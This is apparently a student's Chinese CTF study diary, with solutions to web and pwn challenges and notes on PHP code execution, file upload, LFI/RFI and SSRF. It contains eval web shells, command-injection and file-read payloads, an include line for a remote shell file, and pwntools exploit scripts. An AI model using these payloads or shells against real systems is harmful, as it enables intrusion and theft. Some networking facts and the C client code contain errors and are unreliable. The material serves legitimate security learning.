Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.27
Location: success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==
Content-Length: 0
客户端重定向:
- 服务器在响应中返回一个带有302状态码的响应头,指示浏览器进行跳转。
- 例如,服务器端脚本通过
header("Location: success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==");
指令将HTTP响应状态设置为302,然后浏览器会自动访问success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==
页面。
http响应状态码
1xx: 信息响应
这些状态码表示请求已被接收,服务器正在处理请求。
- 100 Continue: 客户端应继续其请求。
- 101 Switching Protocols: 服务器根据客户端的请求切换协议。
2xx: 成功
这些状态码表示请求已成功接收、理解并处理。
- 200 OK: 请求成功,服务器返回请求的资源。
- 201 Created: 请求成功并导致了资源的创建。
- 204 No Content: 请求成功,但服务器没有返回任何内容。
3xx: 重定向
这些状态码表示需要客户端采取进一步的操作以完成请求,通常是用于重定向。
- 301 Moved Permanently: 请求的资源已永久移动到新位置,客户端应使用新URL。
- 302 Found: 请求的资源临时移动到新位置,客户端应继续使用原来的URL。
- 304 Not Modified: 客户端有缓存资源,且资源未被修改,可以继续使用。
4xx: 客户端错误
这些状态码表示客户端看起来有问题,导致服务器无法处理请求。
- 400 Bad Request: 请求有错误,服务器无法理解。
- 401 Unauthorized: 请求需要身份验证,客户端未提供有效凭证。
- 403 Forbidden: 服务器理解请求,但拒绝执行。
- 404 Not Found: 服务器无法找到请求的资源。
- 405 Method Not Allowed: 请求的方法不被允许。
5xx: 服务器错误
这些状态码表示服务器未能完成有效请求,通常是服务器端的问题。
- 500 Internal Server Error: 服务器遇到错误,无法完成请求。
- 502 Bad Gateway: 服务器作为网关或代理,从上游服务器收到无效响应。
- 503 Service Unavailable: 服务器当前无法处理请求,通常是由于过载或维护。
- 504 Gateway Timeout: 服务器作为网关或代理,未能及时从上游服务器获取响应。
ProveYourLove
要在表白墙提交300次,限制不能重复提交
if (localStorage.getItem('confessionSubmitted')) {
alert('您已经提交过表白,不能重复提交。');
return;
}
在控制台输入localStorage.removeItem('confessionSubmitted');
之后即可重复提交,且在控制台就可以通过document.querySelector('input[type="submit"]').click();
提交,所以直接写个循环去提交
const intervalId = setInterval(() => {
localStorage.removeItem('confessionSubmitted');
document.querySelector('input[type="submit"]').click();
}, 1000);
但有个alert
弹窗要点确定的我不知道怎么自动点, 还是手动点的
#8.16
喵喵喵
php
系统命令执行
eval
注意分号,执行
eval
执行系统命令需要用system
eval('echo "Hello, World!";'); eval(system('cat /flag');)
shell_exec
php$output = shell_exec('ls -l');
exec
phpexec('ls -l', $output); foreach ($output as $line) { echo $line; }
passthru
passthru('ls -l');
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
get
传参给eval
执行,直接传system('cat /flag');
,即url?DT=system('cat /flag');
MD5绕过
看了篇md5绕过的文章:https://pankas.top/2022/03/11/%E5%85%B3%E4%BA%8Emd5%E7%9A%84%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
弱类型
md5($str1) == md5($str2)
原理:构造MD5
值0e
开头,弱类型比较是科学计数法,0
的多少次方都是0
单次md5
后0e
开头:QNKCDZO、240610708、s878926199a、s155964671a、s214587387a
两次md5
后0e
开头:CbDLytmyGm2xQyaLNhWn、770hQgrBOjrcqftrlaZk、7r4lGXCH2Ksu2JNT3BYM
强类型
md5($str1) === md5($str2)
原理:PHP
可以提交数组,md5
或sha1
传入数组返回值为NULL
传入方式:$_GET['name']->name[]=1
md5碰撞
使用Fastcoll
:http://hduyyds.top/tools/fastcoll.rar
绕过md5()来构造攻击语句
ffifdyop
哈希后ascii
字符串前几位是 or '6
,拼接后变成select * from ‘admin’ where password=’’ or ‘6xxxxx’
,永真
本题一次弱类型一次强类型,可以传入get
参数:[http://challenge.basectf.fun:39853?name=QNKCDZO&name2[\]=1](http://challenge.basectf.fun:39853/?name=QNKCDZO&name2[]=1),`post`参数`password=s878926199a&password2[]=2`
web七龙珠
访问:/flag1ab.html
,查看源码得到flag1:bW9lY3Rm
<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->
访问:/flag2hh.php
,提示:本题关键词:http
,想想服务器通过网络传输过来的,除了这个页面,还有什么?
抓包得到flag2:e0FmdEV
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 16 Aug 2024 07:52:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.22
flag2: e0FmdEV
nextpage: /flag3cad.php
Content-Length: 361
访问/flag3cad.php
,要求使用admin
的身份验证,bp
接收的响应中有Set-Cookie
,改发送的cookie
为verify=admin
即可
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 16 Aug 2024 08:10:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.22
Set-Cookie: verify=user
fxxk: /flag3.php
Content-Length: 801
发送内容如下,最终得到flag3: yX3RoMXN
POST /flag3cad.php?a HTTP/1.1
Host: 127.0.0.1:52741
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Cookie: verify=admin
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
b=a
访问:/flag4bbc.php
,提示啊?难道你不是从 http://localhost:8080/flag3cad.php?a=1
点击链接过来的吗? 改Referer
为该url
进入游戏,js
内容如下
var buttons = document.getElementById("scope").getElementsByTagName("button");
for (var i = 0; i < buttons.length; i++) {
buttons[i].id = i + 1;
}
function start() {
document.getElementById("num").innerText = "9";
}
function getID(button) {
if (button.id == 9) {
alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
fetch('flag4bbc.php', {
method: 'post',
body: 'method=get',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
}).then((data) => {
return data.json();
}).then((result) => {
console.log(result.hint);
console.log(result.fll);
console.log(result.goto)
});
} else {
alert("该罚!(头部碰撞声)")
}
}
直接发送post
请求method=get
得到flag4: fdFVUMHJ
访问:/flag5sxr.php
提示要求输入I want flag
,但是前端js
判断
function checkValue() {
var content = document.forms["form"]["content"].value;
if (content == "I want flag") {
alert("你就这么直接?");
return false;
} else {
return true;
}
}
可以在控制台直接重写checkValue
函数
function checkValue() {
return true;
}
再提交得到flag5: fSV90aDF
访问flag6diw.php
,提示
<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}
preg_match
函数是一个用于执行正则表达式匹配的函数,使用preg_match
函数来检查$_GET['moe']
参数是否包含字符串flag
。正则表达式/flag/
指定了一个简单的模式匹配,不区分大小写,可以简单改写大小写绕过
访问url?moe=Flag
并且添加一个post
参数得到flag6: rZV9VX2t
访问flag7fxxkfinal.php
,提示eval($_POAT['what']);
,直接post
参数what=system('cat /flag7');
得到rbm93X1dlQn0=
连起来就是bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=
,再base64
解码即可
php
preg_match
用于执行正则表达式匹配的函数,在给定的字符串中搜索与正则表达式相匹配的内容,不区分大小写,可以改大小写绕过例如以下代码可以传入?moe=/Flag/i
绕过scandir(".")/glob
列出当前目录中的所有文件和目录。array_reverse()
反转这个数组,使得最后添加的文件或目录变成数组的第一个元素。next()
移动数组的内部指针,因为array_reverse()
后的第一个元素实际上是原数组的最后一个元素,next()
会返回原数组的倒数第二个文件或目录。highlight_file()
将对这个文件执行语法高亮并输出其源码。include / require / include_once / require_once
这些函数用来包含并执行指定文件的
PHP
代码,如果文件路径是由用户输入控制的,攻击者可以包含一个远程文件(Remote File Inclusion - RFI
),或者利用本地文件包含漏洞(Local File Inclusion - LFI
)unserialize
unserialize($_GET['data']); $array = unserialize($serializedStr);
可以将一个序列化的数组字符串转换为数组
反序列化一个字符串到
PHP
的值,不正确地处理用户提供的序列化数据可能导致对象注入攻击preg_replace
preg_replace('/.*/e', $_GET['code'], '');
执行一个正则表达式的搜索和替换,在
/e
修饰符存在的情况下,可以执行与eval
函数类似的代码执行。extract / parse_str
extract($_GET);
这些函数将数组或字符串中的变量导入到当前符号表,可能被用来覆盖重要的变量值,改变程序流程
assert
assert('strpos($_GET['var'], "something") !== false');
检查一个断言是否为真,如果不为真则执行一个指定的代码,在某些配置下,
assert
可以被用来执行PHP
代码file_get_contents / fopen / readfile / file
echo file_get_contents($_GET['filename']);
读取文件内容或者从文件中读取数据,如果没有适当的限制,攻击者可以利用这些函数读取服务器上的敏感文件
file_get_contents()
: 读取文件的全部内容到一个字符串$content = file_get_contents("test.txt");
file_put_contents()
: 将一个字符串写入文件file_put_contents("test.txt", "Hello World!");
base64_encode() / base64_decode()
:对数据进行Base64
编码和解码,常用于编码攻击载荷。json_encode() / json_decode()
:JSON
数据编码和解码,处理AJAX
或API
响应时常见gzdeflate() / gzinflate()
:压缩和解压缩数据,有时用于绕过长度限制。
套接字
救命两个月前才考的计网,放个假全忘了…还好我不考研(bushi
计网前置知识
IP地址
- 前缀:计算机所属物理网络,每个物理网络都有唯一网络号,根据网络号划分五类地址
- A类:
0.0.0.0~127.255.255.255
- B类:
128.0.0.0~191.255.255.255
- C类:
192.0.0.0~223.255.255.255
- D类:
224.0.0.0~239.255.255.255
- E类:
240.0.0.0~247.255.255.255
- 其中网络地址主机地址为
0
,广播地址网络号后所有位为1
,回送地址(本地主机地址)127.0.0.1
用于测试,0.0.0.0
表示不特定的源地址,可以接受来自任何网络接口的连接请求
- A类:
- 后缀:确定该网络中的唯一一台计算机
OSI七层模型和TCP/IP协议结构层次
OSI七层网络模型 | TCP/IP四层概念模型 | 对应网络协议 |
---|---|---|
应用层(Application) | 应用层 | HTTP、TFTP, FTP, NFS, WAIS、SMTP |
表示层(Presentation) | 应用层 | Telnet, Rlogin, SNMP, Gopher |
会话层(Session) | 应用层 | SMTP, DNS |
传输层(Transport) | 传输层 | TCP, UDP |
网络层(Network) | 网络层 | IP, ICMP, ARP, RARP, AKP, UUCP |
数据链路层(Data Link) | 数据链路层 | FDDI, Ethernet, Arpanet, PDN, SLIP, PPP |
物理层(Physical) | 数据链路层 | IEEE 802.1A, IEEE 802.2到IEEE 802.11 |
端口
用于标识通信的应用程序,将进程与端口绑定,范围在0~65535
,0~256
是系统保留端口,其余为自由端口
套接字编程
套接字是一个指向传输提供者的句柄,分为三类
- 原始套接字:让程序开发人员能够控制底层网络传输机制,接收的数据包含
IP
头 - 流式套接字:提供双向、有序、可靠的数据传输服务,通信前需要双方建立连接,例如
TCP
协议 - 数据包套接字:提供双向的数据流,不保证可靠、有序、无重复,例如
UDP
协议
服务器端:
创建套接字
socket
socket(int af, int type, int protocol)
type
:SOCK_STREAM
流式套接字,SOCK_DGRAM
无连接的数据报套接字,SOCK_RAW
原始套接字绑定
bind
到本地的地址和端口设置套接字为监听状态
listen
接收请求
accept
,返回得到一个用于请求的新套接字使用新套接字进行通信
send/recv
释放套接字资源
closesocket
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 8080
#define MAXBUFLEN 100
int main() {
int server_fd, new_socket, valread;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[MAXBUFLEN] = {0};
char *message = "Echo: ";
// 创建套接字文件描述符
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
// 绑定套接字到端口
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address))<0) {
perror("bind failed");
exit(EXIT_FAILURE);
}
// 监听端口
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
printf("Server listening on port %d...\n", PORT);
// 接受连接
if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen))<0) {
perror("accept");
exit(EXIT_FAILURE);
}
// 读取数据
valread = read(new_socket, buffer, MAXBUFLEN);
buffer[valread] = '\0';
// 发送数据
send(new_socket, message, strlen(message), 0);
send(new_socket, buffer, strlen(buffer), 0);
// 关闭套接字
close(new_socket);
close(server_fd);
return 0;
}
python版:
import socket
host = '127.0.0.1'
port = 8080
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置选项,允许重新使用地址,这在重启服务器时可以避免等待
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen()
print(f"Server is listening on {host}:{port}")
while True:
# 接受客户端的连接
client_socket, addr = server_socket.accept()
print(f"Connected by {addr}")
# 接收客户端发送的数据
message = client_socket.recv(1024).decode('utf-8')
print(f"Received from client: {message}")
# 发送数据给客户端
client_socket.sendall(f"Echo: {message}".encode('utf-8'))
# 关闭与客户端的连接
client_socket.close()
客户端:
- 创建套接字
socket
- 向服务器发送连接请求
connect
- 与服务器进行通信
send/recv
- 释放套接字资源
closesocket
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
int main() {
int sock = 0, valread;
struct sockaddr_in serv_addr;
char buffer[MAXBUFLEN] = {0};
const char *message = "Hello from client";
// 创建套接字文件描述符
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("socket creation failed...\n");
return -1;
}
// 设置服务器地址参数
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
// 将点分十进制IP地址转换为二进制形式
if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0) {
printf("Invalid address/ Address not supported \n");
return -1;
}
// 连接到服务器
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
printf("connection with the server failed...\n");
return -1;
}
// 发送数据
if (send(sock, message, strlen(message), 0) != strlen(message)) {
printf("Send failed\n");
}
// 接收数据
valread = read(sock, buffer, MAXBUFLEN);
buffer[valread] = '\0';
printf("Server: %s\n", buffer);
// 关闭套接字
close(sock);
return 0;
}
python版
import socket
host = '127.0.0.1'
port = 8080
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host, port))
# 发送数据到服务器
client_socket.sendall("Hello from client".encode('utf-8'))
# 接收服务器返回的数据
response = client_socket.recv(1024).decode('utf-8')
print(f"Received from server: {response}")
client_socket.close()
#8.17
极客巅峰一题不会唉,写了点新生赛的web
和pwn
EncirclingGame
A simple game, enjoy it and get the flag when you complete it.
纯游戏题,通关得到flag
upload
文件上传漏洞,没有检测文件类型,直接传个木马,然后蚁剑连接
test.php
:
<?php @eval($_POST['pass']);?>
Aura酱的礼物
data
伪协议 ssrf
文件包含
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}
// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}
// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);
post
参数:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:21758/&gift=php://filter/convert.base64-encode/resource=flag.php
leak_sth
格式化字符串泄露canary
,伪随机数绕过,触发后门
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
libc = cdll.LoadLibrary('libc.so.6')
seed = libc.time(0)
libc.srand(seed)
v3 = libc.rand()
p = b'%13$p'
r.sendlineafter(b'name', p)
r.recvuntil(b'0x')
canary = int(r.recv(16), 16)
r.sendlineafter(b'number', str(v3))
r.interactive()
LoginSystem
格式化字符串任意地址写
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('192.168.56.1', 55028)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pass_address = 0x404050
p = fmtstr_payload(8, {pass_address:0x12345678}, write_size='short')
r.sendlineafter(b'username', p)
r.sendlineafter(b'password', p64(0x12345678))
r.interactive()
easy_shellcode
写shellcode
然后跳转过去
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('192.168.56.1', 63787)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b'99999'
r.sendlineafter(b'age', p)
r.recvuntil(b'0x')
address = int(r.recv(12), 16)
p = asm(shellcraft.sh()).ljust(0x68, b'a') + p64(address)
r.sendlineafter(b'say', p)
r.interactive()
#8.18
搞招新的文案什么的
#8.19
学了点web
写了点题,继续逆向看了几个小时还是没有一点头绪
ImageCloud前置
给了源码
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];
header('Content-Type: ' . $mime_type);
curl_close($ch);
echo $res;
?>
file伪协议:http://127.0.0.1:64686/index.php?url=file:///etc/passwd
得到
Warning: Trying to access array offset on false in /var/www/html/index.php on line 13
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:13) in /var/www/html/index.php on line 15
root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/sbin/nologin nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin moectf{I_aM_v3Ry_sOrry-4BouT-tHisa0c9f6f}
垫刀之路01: MoeCTF?启动!
可以执行系统命令,提示查看环境变量,输入env
得到环境变量里的flag
FLAG=moectf{wElcoME_t0_MOeCtf-AND-Ro4DI-5TArTup-BY-sxRhhh134}
垫刀之路02: 普通的文件上传
文件上传一个木马,然后执行env
,环境变量里有flag
FLAG=moectf{uPloAd-your_P4yI0Ad_And_D0-Wh@t_yoUr_w@ntdb5}
垫刀之路03: 这是一个图床
前端判断后缀是图片,木马改后缀为jpg
选择文件,再抓包改php
上传文件
POST /upload.php HTTP/1.1
Host: 127.0.0.1:64517
Content-Length: 213
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylCRALsDMbQvs1tSq
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:64517
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:64517/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarylCRALsDMbQvs1tSq
Content-Disposition: form-data; name="image"; filename="test.php"
Content-Type: image/jpeg
<?php @eval($_POST['pass']);?>
------WebKitFormBoundarylCRALsDMbQvs1tSq--
文件包含
PHP
:include
/ require
/ include_once
/ require_once
JSP Servlet
:ava.io.File()
/ java.io.FileReader()
ASP
:includefile
/ includevirtual
当PHP
包含一个文件时,会将该文件当做PHP
代码执行,而不会在意文件什么类型
本地文件包含
Local File Inclusion,LFI
include '/home/wwwrun/'.$file.'.php';
%00
截断(PHP<5.3.4 & magic_quotes_gpc=off
):?file=../../../../../../../../../etc/passwd%00
路径长度截断:?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
在Linux
中文件名长度>4096
,Windows
中文件名长度>256
点号截断:?file=../../../../../../../../../boot.ini/………[…]…………
,仅适用于Windows
,点号长度>256
常见读取路径
/etc/apache2/* #Apache配置文件,可以获知Web目录、服务端口等信息
/etc/nginx/* #Nginx配置文件,可以获知Web目录、服务端口等信息
/etc/crontab #定时任务文件
/etc/environment #环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况
/etc/hostname #主机名
/etc/hosts #主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名
/etc/issue #系统版本信息
/etc/mysql/* #MYSQL配置文件
/etc/php/* #PHP配置文件
/proc 目录 #/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline #cmdline可读出比较敏感的信息
ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log# apache日志
# ssh日志,攻击方法
/var/log/apache2/[access.log|error.log] # apache日志
Session
:https://www.anquanke.com/post/id/231407
远程文件包含
Remote File Inclusion, RFI
,前提allow_url_fopen = On
是否允许打开远程文件allow_url_include = On
是否允许include/require
远程文件
普通远程文件包含:
?file=[http|https|ftp]://example.com/shell.txt
需要allow_url_fopen=On & allow_url_include=On
php / data
协议限制包含文件的后缀名(
<?php **include**($_GET['filename'] . ".no"); ?>
),用?
或#
绕过(?filename=http://xxxx/php.txt?
/?filename=http://xxxx/php.txt%23
)利用
XSS
执行:?file=http://127.0.0.1/path/xss.php?xss=phpcode
,需要allow_url_fopen=On
,allow_url_include=On
并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS
漏洞,包含这个页面,就可以注入恶意代码了
php://
访问各个输入/输出流,常见函数file_get_contents / file_put_contents / readfile / fopen / file / show_source / highlight_file
php://input
访问
POST data
数据中的代码,开启enable_post_data_reading
时不可用,必须开启allow_url_include
有**
file_put_contents
**时可以直接写入一句话木马<?php @eval($_POST[cmd]);
php://filter
PHP>=5.0.0
,用于数据流打开时筛选过滤,题目中出现函数readfile、file、file_get_contents
可用,需要allow_url_include=On
参数
resource=要过滤的数据流
read=读链的筛选列表 、write=写链的筛选列表
:可以设定多个|
分隔,有file_put_contents
时可以用write
;两个链的筛选列表
:没有read
和write
时视情况用于读/写过滤器:
filter
不指定过滤器会默认解析PHP
代码,非代码需要进行编码string.rot13
:等同于str_rot13()
,rot13
变换convert.base64-encode
convert.base64-decode
:解码按照4
位一组,不是4
的倍数需要在字符串前补上字母convert.quoted-printable-encode
:quoted-printable
字符串与8-bit
字符串编码convert.quoted-printable-decode
:quoted-printable
字符串与8-bit
字符串解码用法
php://filter/resource=flag.php #直接读,PHP代码会被解析 php://filter/read=convert.base64-encode/resource=flag.php php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php #base64和rot13被过滤,使用其他编码,ucs-2编码的字符串位数一定要是偶数,ucs-4编码的字符串位数一定要是 4 的倍数,输入的内容也要先进行编码,例如: file_put_contents($file, "<?php die();?>".$contents); GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php POST: contents=?<hp pystsme"(ac tlf"*;) #获取编码后的内容 <?php echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");'); php://filter/string.rot13/resource=1.php #rot13 #编码可以用于绕过执行代码中多余的die部分,例如file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); php://input #data部分:<?php phpinfo(); ?>
**
php://output
**:只写的数据流,允许以echo
一样的方式写入到输出缓冲区**
php://fd
**:PHP>=5.3.6
允许直接访问指定的文件描述符,如php://fd/3
**
php://memory / php://temp
**:PHP>=5.1.0
memory
将数据存储在内存,temp
在内存量达到预定义限制后存入临时文件,可通过/mmaxmemory:xx
限制最大数据量
data://
条件:PHP>=5.2.0
,用于传递相应格式的数据,通常可以用来执行PHP
代码,推荐使用base64
编码传参,需要allow_url_include=On
绕过file_get_contents
:fn=data://text/plain,bugku
base64
过简单过滤:fn=data://text/plain;base64,YnVna3U=
执行代码:data://text/plain,<?php phpinfo();
file://
用于访问本地文件系统,存在fopen
和file_get_contents
函数时可用,如,file:///etc/passwd
其他
dict://
字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp://
SSH文件传输协议或安全文件传输协议
ldap://
轻量级目录访问协议
tftp://
简单文件传输协议
gopher://
分布式文档传递服务,可使用gopherus
生成payload
zip://文件路径/压缩包名称/压缩包中文件名称
phar://文件路径/phar文件名称/phar内文件名
:也可以访问zip
压缩包内容
文件上传
前端检查扩展名:抓包改文件类型为php
Content-Type
检测文件类型:抓包改Content-Type
符合白名单
服务器添加后缀:%00
截断
服务器检测扩展名:利用解析漏洞
Apache
解析:Apache
对后缀解析是从右向左的,phpshell.php.rar.rar.rar.rar
因为Apache
不认识.rar
会一直遍历后缀到 .php
IIS
解析:文件名为 abc.asp;xx.jpg
时,会将其解析为 abc.asp
PHP CGI
路径解析:访问 http://www.a.com/path/test.jpg/notexist.php
时,会将test.jpg
当做PHP
解析,notexist.php
是不存在的文件
其他方式:后缀大小写、双写(只检测一次php
则双写为pphphp
,要在php
里面双写,不能写连续两个php
)、特殊后缀php5
,修改包内容大小写过WAF
SSRF
服务端请求伪造,服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制,可以利用dict / gopher / file
协议
阻碍利用
服务器开启
OpenSSL
无法进行交互利用服务端需要鉴权(
Cookies & User:Pass
)不能完美利用限制请求的端口为
http
常用的端口,比如,80,443,8080,8090
禁用不需要的协议。仅仅允许
http
和https
请求,防止类似于file:///,gopher://,ftp://
等引起的问题统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
常见后端实现:存在
fsockopen / file_get_contents / curl_exec
$content = file_get_contents($_POST['url']); $fp = fsockopen($host, intval($port), $errno, $errstr, 30); <?php if (isset($_POST['url'])) { $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
例题
@
绕过challenge=http://jasmineaura.github.io@challenge.basectf.fun:21758/
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0) { die('这不是 Aura 的博客!'); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false) { die('请去博客里面写下感想哦~'); }
利用
file
协议:http://127.0.0.1:64686/index.php?url=file:///etc/passwd
<?php $url = $_GET['url']; $ch = curl_init(); ... $res = curl_exec($ch); $image_info = getimagesizefromstring($res); $mime_type = $image_info['mime']; header('Content-Type: ' . $mime_type); curl_close($ch); echo $res; ?>
绕过
更改
IP
地址写法:改成其他进制(8
进制,16
进制,10
进制整数,16
进制整数)IP
地址省略模式:10.0.0.1 -> 10.1
